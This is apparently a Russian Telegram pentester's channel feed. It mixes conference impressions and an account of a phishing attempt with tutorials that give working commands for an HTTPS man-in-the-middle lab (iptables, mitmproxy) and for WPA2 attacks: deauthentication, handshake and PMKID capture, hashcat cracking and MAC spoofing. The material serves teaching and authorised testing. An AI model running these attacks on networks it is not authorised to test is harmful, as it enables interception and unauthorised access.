REDtalk

#meme Объявляю минутку предновогоднего настроения (если у кого-то еще нет) и выражаю респект утилитам, которые поздравляют всех работающих с рождеством ❄️

Привет! ⭐️ А я тут прошел почти все коробки в HTB Seasons 9. Сначала как всегда начал в одного делать на выходных, но потом понял, что если хочу получить макс ранг, то нужно найти команду, и я нашел... В канале дискорда HTB случайную зарубежную команду. Опыт, скажу я вам, невероятный. Все разговаривают на английском с разными акцентами, часто я не успевал за действиями тиммейтов, пытаясь понять, что они вообще сказали ⌨️ Но и с такой командой оказалось легче и веселее решать сезон. Советую попробовать.

📣 Фишинговые атаки: как распознать угрозу и выстроить эффективную защиту

Фишинг — одна из самых распространенных форм социальной инженерии. Например, злоумышленник присылает поддельное сообщение (чаще всего на корпоративную почту), маскируя его под официальную коммуникацию, и просит совершить простое действие: перейти по ссылке, открыть вложение, ввести учётные данные или подтвердить платёж. Такие письма часто имитируют знакомые адреса и стиль компании, поэтому выглядят правдоподобно и способны ввести в заблуждение даже внимательного сотрудника. В этой статье мы разберём, как устроен фишинг, какие существуют его виды, как вовремя распознать угрозу и какие меры помогут выстроить надёжную систему защиты компании.

Автор статьи "Фишинговые атаки: как распознать угрозу и выстроить эффективную защиту" 🖥 Александр Негода, член команды “СБ Про Бизнес”, автор проекта “REDtalk” , Руководитель направления по тестированию на проникновение/Red Team 🌐Делитесь с коллегами. ——— 🛡 Мы стремимся делать сложное понятным! ИД Советник, ж-л Директор по безопасности, ж-л Безопасность компании ☄️На нашем сайте www.sec-company.ru  найдете много интересной и полезной информации в разделах "ПОЛЕЗНОЕ", "Публикации" и "Новости". 🔔Подписывайтесь на ТГ-канал Клуб "Директор по безопасности"

Привет друзья! 🐾 Хочу поделиться новостью. В журнале «Директор по безопасности» вышла моя новая статья: Фишинговые атаки: как распознать угрозу и выстроить эффективную защиту Спасибо редакции за интерес к теме!

Итак, моё имхо 🔥 по поводу ЗН. Первые несколько часов людей было немного, можно было без проблем походить по стендам, но ближе к середине толпа стала более привычной, как на других конференциях. По поводу докладов не могу ничего сказать, так как был только на одном из них. Мерч, к сожалению, тоже самый обыкновенный. На спикерпати не участвовал, возможно, самый сок там⚡️ В целом, мероприятие не отличается от других популярных конференций. Говорят, что раньше было лучше, но на нём я был первый раз, и какого-то вау-эффекта не получил.

Привет, а я сегодня на zeronights 🤯 Первые ощущение от конфы неплохие - есть активности помимо докладов и кучность людей заметно меньше по сравнению с другими конференциями. После окончания дам свой фидбек 😋

Небольшой апдейт. Это оказывается тоже часть фишинга. Сейчас представились оператором связи и долго втирали за спуфинг, после чего что-то сказали про то, что вышлют письмо. Я уже не выдержал

Привет! 👾 Хочу поделится странной и почти удачной попыткой компрометации моей личности нашими зарубежными партнерами. *️⃣Шаг 0. Ко мне в метро подошел странно одетый человек в очках, как у кибердеда, и попросил 200р на еду, так как ЗП ему придет только на следующий день. Я решил, что даже если это и скам, 200р мне не жалко. Перевел ему, чтобы посмотреть, что будет. *️⃣Шаг 1. На следующий день утром мне позвонил курьер из службы доставки RBT, сказал, что через час будет у меня. На мои возражения о том, что я никого не жду, он ответил, что нужно отменить заказ, и продиктовать код. Я был сонный, продиктовал. После чего звонок был прерван. *️⃣Шаг 2. Через 30 секунд я осознал, что наделал, и начал копать. К счастью, код, который я сообщил, был от ЛК на rbt.ru (Скриншот 1). Я сразу же позвонил в техподдержку и удалил личный кабинет. *️⃣Шаг 3. Через несколько минут мне на почту пришло письмо с уведомлением о регистрации доверенности. К счастью, к этому времени я уже взбодрился и понял, что письмо фишинговое. Ящик отправителя - info@digitᅟal.gov.ru (Скриншот 2). Также я увидел уведомление от мобильного оператора о спуфинге (Скриншот 3) *️⃣Шаг 4. Я предупредил всех близких и друзей, так как пробив меня, возможно было получить их персональные данные с дальнейшей атакой. На всякий случай проверил кредитную историю и сессии в госуслугах. И как по таймингу, в день разговора с человеком в метро я включил запрет на оформление кредитов (Скриншот 4) Вывод: Не разговаривать со странно одетыми незнакомыми людьми в 1337 очках. Его ФИО и телефон прилагать не буду, так как не уверен, является ли им тот человек или это левый номер. P. S. Я не совсем понял прикол с почтой, там же домен gov.ru, а дальше рандомный дочерний поддомен. Как они смогли его зарегать? Знающие люди, подскажите

Привет! ⌨️ Когда-то давно я делал 🔗 пост про сертификаты и замочек в браузере слева от адресной строки. В комментариях был вопрос про виды защит браузера от mitm-атак. Не прошло и года (прошло), как я сделал стенд для их проверки. Далее покажу простой перехват https-трафика практически без использования специализированных инструментов, а также посмотрим на сработки встроенных механизмов защиты в браузер. Стенд состоит из двух машин - Windows 10 и управляемый роутер из линукса:

[Windows10] - (ens37)[Linux](ens33) - [Интернет] # роутер используется для MITM-атак.

На счет роутера я преувеличил. В данном случае это сетевой мост (перенаправляет трафик с одного интерфейса на другой) превратить linux в сетевой мост очень просто:

# Включаем редирект
echo 1 > /proc/sys/net/ipv4/ip_forward

# Чистим таблицы
iptables -F
iptables -t nat -F
iptables -X
iptables -t nat -X

# Создаем NAT и перенаправление трафика между интерфейсами
iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
iptables -A FORWARD -i ens37 -o ens33 -j ACCEPT
iptables -A FORWARD -i ens33 -o ens37 -m state --state RELATED,ESTABLISHED -j ACCEPT

# Ставим ip-адрес на ens37. ens33 Получает его по dhcp
ip addr add 10.13.37.10/24 dev ens37

# Примечание. NetworkManager может сбрасывать заданный адрес, поэтому
#   на время эксперимента его лучше отключить

Мост готов, на винде тоже ставим адрес 10.13.37.11/24 и будет выход и интернет. Теперь можно перехватывать https:

# Редиректим любой 443 порт на 127.0.0.1:443
iptables -t nat -A PREROUTING -i ens37 -p tcp --dport 443 -j REDIRECT --to-port 443
# Запускаем mitmproxy на прослушку и редирект трафика на read.pyfffe.site и смотрим на вывод
# 212.67.10.54 это ip read.pyfffe.site
mitmproxy -p 443 --mode reverse:https://212.67.10.54:443 --showhost --ssl-insecure

Как показано на гифке, перезагрузки страницы работает mitm-прокси, из-за чего браузер на уже посещенную страницу выдает ошибку net::ERR_CERT_AUTHORITY_INVALID и не даёт более ничего сделать, а вот на непосещенную ранее страницу алертит на самоподписанный сертификат, и ничего более. В 9 случаев из 10 пользователь скорее всего проигнорирует это предупреждение. А если это какой-то внутренний ресурс, у которого тоже самоподписанный сертификат, то тут соответствие никто и проверить не будет 😏

Подготовил для вас подробное руководство по тестированию на проникновение Outlook Web Access (OWA). 😈 ➡️ В статье я разобрал все основные атаки и уязвимости OWA. Собрал и структурировал самое полезное в одном месте. ➡️ Также материал идеально подойдет для тех, кто все еще путает между собой OWA, Outlook и MS Exchange :) Даже если вы раньше не сталкивались с почтовыми сервисами Microsoft, после прочтения смело можете бежать проверять их на безопасность. 🥤 Ссылка на статью 💫 @pentestnotes | #pentest #OWA #Exchange

Привет, друзья🤗! Ловите подробное руководство по тестированию OWA. Отличный материал. Автор разобрал основные атаки и собрал всё в одном месте. Рекомендуем к прочтению! Но помните!!! На светлой стороне печеньки вкуснее 👅

Всем привет!👋 Подъехала вторая часть статьи про пентест Wi-Fi. На этот раз решили выпустить статью в notion, так как для телеграмм-поста буков оказалось многовато. Ссылка вот тут: 🔗 Приятного чтения!

Привет! 🤥 Недавно я перечитывал свои посты и наткнулся на один из самых старых — про переполнение стека. Вспомнил молодость, словил испанский стыд и решил сделать ремейк, а точнее, полностью переписать пост. Получилось небольшая статья про введение в эксплуатацию бинарных уязвимостей на простом примере задачи в формате ctf. Описаны базовые виды защиты памяти, пошагово создан CTF-таск с подробным решением. Приятного чтения! 🔗Читать Но это еще не всё! Cейчас в тренде импортозамещение, так, что я тоже решил не отставать и создал свой небольшой сайт: 🔗read.pyfffe.site. Туда переехали материалы из Notion, и теперь все гифки в постах нормально загружаются без впн (да, всё было ради гифок 👸). Да и в целом хорошо бы иметь полный контроль над своим ресурсом (просьба не пробовать его получать 👾). Теперь всё, спасибо за внимание!

<продолжение> 🔘 Следующий тип атаки на WPA2 Personal это захват PMKID. PMKID (Pairwise Master Key Identifier) — это идентификатор, используемый в протоколе WPA/WPA2 для установления защищённого соединения между клиентом и точкой доступа Wi-Fi. Подробнее можете прочитать тут: 🔗🔗🔗 Для выполнения данной атаки можем использовать утилиту hxcdumptool. 🔹Для начала надо запустить сканирование сети и определить уязвимые точки для атаки PMKID. (прим. в примере показа не последняя версия hcxdumptool).

hcxdumptool -i wlan0mon --enable_status=3

🔹 После определения уязвимой цели запускаем заново тулзу

hcxdumptool -i wlan0mon --enable_status=3 --filterlist_ap=С1:33:E7:F5:65:91 --filtermode=2 -o PMKID.pcap

В случае успеха мы получим следующее сообщение:

initialization of hcxdumptool 6.2.5...
warning possible interfere: NetworkManager is running with pid 101

...
[SNIP]

05:15:18 2412/1   0e2e37d6886d d8d63deb29d5  [PMKID:p243frfa5erfe3vf64w1922ew321be35e6462
 KDV:2]
...

🔹После успешного захвата PMKID необходимо преобразовать pcap файл в hash.

hcxpcapngtool -o hash PMKID.pcap

🔹Для взлома хэша можем воспользоваться утилитой hashcat с флагом -m 22000

hashcat -m 22000 --force hash wordlist.txt

Также необходимо помнить, что для точки доступа может быть настроен белый список mac-адресов, что не позволит нам подключиться в случае даже успешного перебора пароля. К счастью для атакующих, обойти данный механизм защиты можно легко с помощью утилиты macchanger. Для этого отключаем наш интерфейс и присваиваем ему mac-адрес клиента. (помните, что перед подключением к точке доступа нам необходимо деаутентифицировать клиента, чей mac-адрес мы себе присвоили, иначе мы не сможем подключиться.)

sudo ifconfig wlan0 down
sudo macchanger wlan0 -m 3E:48:72:B7:62:2A
sudo ifconfig wlan0 up

В следующей части посмотрим уже на атаки на WPA Enterpise сети. А пока подписывайтесь на канал и приятного чтения.👋

Всем привет! 👋Сегодня немного поговорим о том, как пентестить Wi-Fi сети, а именно WPA2 Personal. Берите чашечку кофе и присаживайтесь.☕️ WPA2 Personal🐈‍⬛ Самый популярный протокол, используемый в персональных сетях Wi-Fi на данный момент, — это WPA2. Новая версия, WPA3, постепенно отвоёвывает себе место под солнцем👊, но всё ещё встречается гораздо реже. Более старые протоколы WEP и WPA практически не используются. 🔘 Первым типом атаки на WPA2, который рассмотрим, является перехват handshake, во время которого клиент и точка доступа обмениваются ключами. 🔑 Для данной атаки будем использовать утилиты семейства aircrack-ng (также можно использовать утилиту airgeddon для удобства). 🔹 Для начала необходимо включить режим мониторинга сети у интерфейса:

sudo airmon-ng start wlan0

Иногда может выскакивать сообщенияу с просьбой “убить” процессы, которые могут помещать перевести наш интерфейс в режим мониторинга. Для этого достаточно ввести команду airmon-ng check kill. 🔹 Следующим шагом будем поиск доступных сетей Wi-Fi и клиентов. Сделать это можно будет с помощью утилиты airodump-ng. Флаг -w позволит сохранит результаты сканирования.

sudo airodump-ng wlan0mon -c 1 -w NETWORK

🔹 Иногда полезно посмотреть карту точек доступа и подключенных к ним клиентов, чтобы понять на какую точку доступа нам нацелиться. Сделать это можно с помощью утилиты airgraph-ng. В параметрах передаем тип изображения, который хотим сохранить, а также файл с результатами сканирования:

sudo airgraph-ng -i NETWORK.csv -g CAPR -o NETWORK.png

После определения нашей цели мы можем подождать пока кто-то подключиться к точке доступа или же начать деаутентификацию клиентов уже подключенных к точке. 🔹 Для начала настроим airodump на захват пакетов с определенной точки доступа и канала:

sudo airodump-ng -c 11 wlan0mon --essid wifinet -w NETWORK

🔹 Деаутентификацию клиентов выполним с помощью утилиты aireplay-ng:

sudo aireplay-ng -0 5 -a 60:3E:41:FE:30:83 -c 5C:12:B1:9B:ED:1A wlan0mon

Это заставит клиента переподключиться к точке доступа, что позволит нам перехватить handshake.📞 После захвата handshake airodump-ng выведет соответствующее сообщение:

kali@kali[/wifi]$ airodump-ng wlan0mon -c 1 -w NETWORK
06:11:03  Created capture file "NETWORK.cap".

🔹 Однако не стоит сразу сломя голову начать брутить handshake. Очень часто утилита airodump захватывает не все нужные нам пакеты (а их 4). Поэтому стоит взглянуть на захваченный файл и проверить, а все ли дома. Сделать это можно в ручную с помощью Wireshark или с помощью утилит cowpatty.

kali@kali[/wifi]$ cowpatty -c -r NETWORK
capcowpatty 4.8 - WPA-PSK dictionary attack. <jwright@hasborg.com>

Collected all necessary data to mount crack against WPA2/PSK passphrase.

Данное сообщение означает, что все в порядке и можем смело брутить наш файл. 🔹 Для брутфорсе захваченного handshake подойдет cowpatty или aircrack-ng.

sudo aircrack-ng -w wordlist.txt -0 NETWORK.cap

Привет, друзья! 👋 Все эти ваши пентесты давно уже не просто "галочка” в документиках, а реальный способ понять, насколько ваша компания уязвима перед методами, которыми пользуются реальные злоумышленники. Игнорировать это всё равно, что играть в рулетку с собственной репутацией, данными клиентов и бизнесом в целом. Недавно мы подробно обсудили эту тему на стриме с ребятами с канала СБПроБизнес. Выбирайте любимую площадку. И приятного просмотра: 📺YouTube 📺Rutube 📝Дзен 📺ВК

Привет, друзья! 🖥 Хотим рассказать про наших коллег и друзей из компании Актив — 🔗aktiv.consulting. Они специализируются на широком спектре услуг в мире ИБ — это аудиты, пентесты, построение ИБ-процессов, бумажная безопасность и проверка требований регуляторов. Недавно у них вышел 🔗пост про виды железок, используемого в процессе тестирования на проникновение физического периметра организаций. Рекомендуем к просмотру! 👍

Разговор с "ХАКЕРОМ"! Что такое "взлом системы"? Да это же по сути - ПЕНТЕСТ!!! Парням "по ту сторону закона" легко, их ничто не ограничивает... А на этой стороне закона, куча ограничений в работе, поэтому опыт от работы, значительно серьезней. Если это твоя работа, и каждый день ты занимаешься только этим... Волей не волей, превратишься в супер специалиста☝️ И мы решили провести СТРИМ!!! У нас в гостях ПЕНТЕСТЕР со стажем!!! Создатель ТГ Канала https://t.me/REDTalk_base ♦️Александр Негода♦️@closed_character и мы будем с ним разговаривать про взломы систем, хакинг, пентест и многое другое!!! Поскольку общение будет online готовьте вопросики😉 Стрим будет по ссылке: https://telemost.yandex.ru/j/77693374624664 Когда: 4 сентября в 20.30 И приходите вовремя... Версия яндекстелемост бесплатная, поэтому ТОЛЬКО 50 Человек, сможет попасть на стрим🤷‍♂️ остальные в этот раз "мимо"... Полезно будет для БИЗНЕСА☝️ А то, до сих пор считают, что хакер это парень в капюшоне 🤦‍♂️ А это уже давно серьезный бизнес!!! P.S. Мы подготовили небольшой сувенир, сделанный "собственными руками", за лучший вопрос! Выберем победителя и подарим ему😉 Фото сувенира будет опубликовано завтра в канале))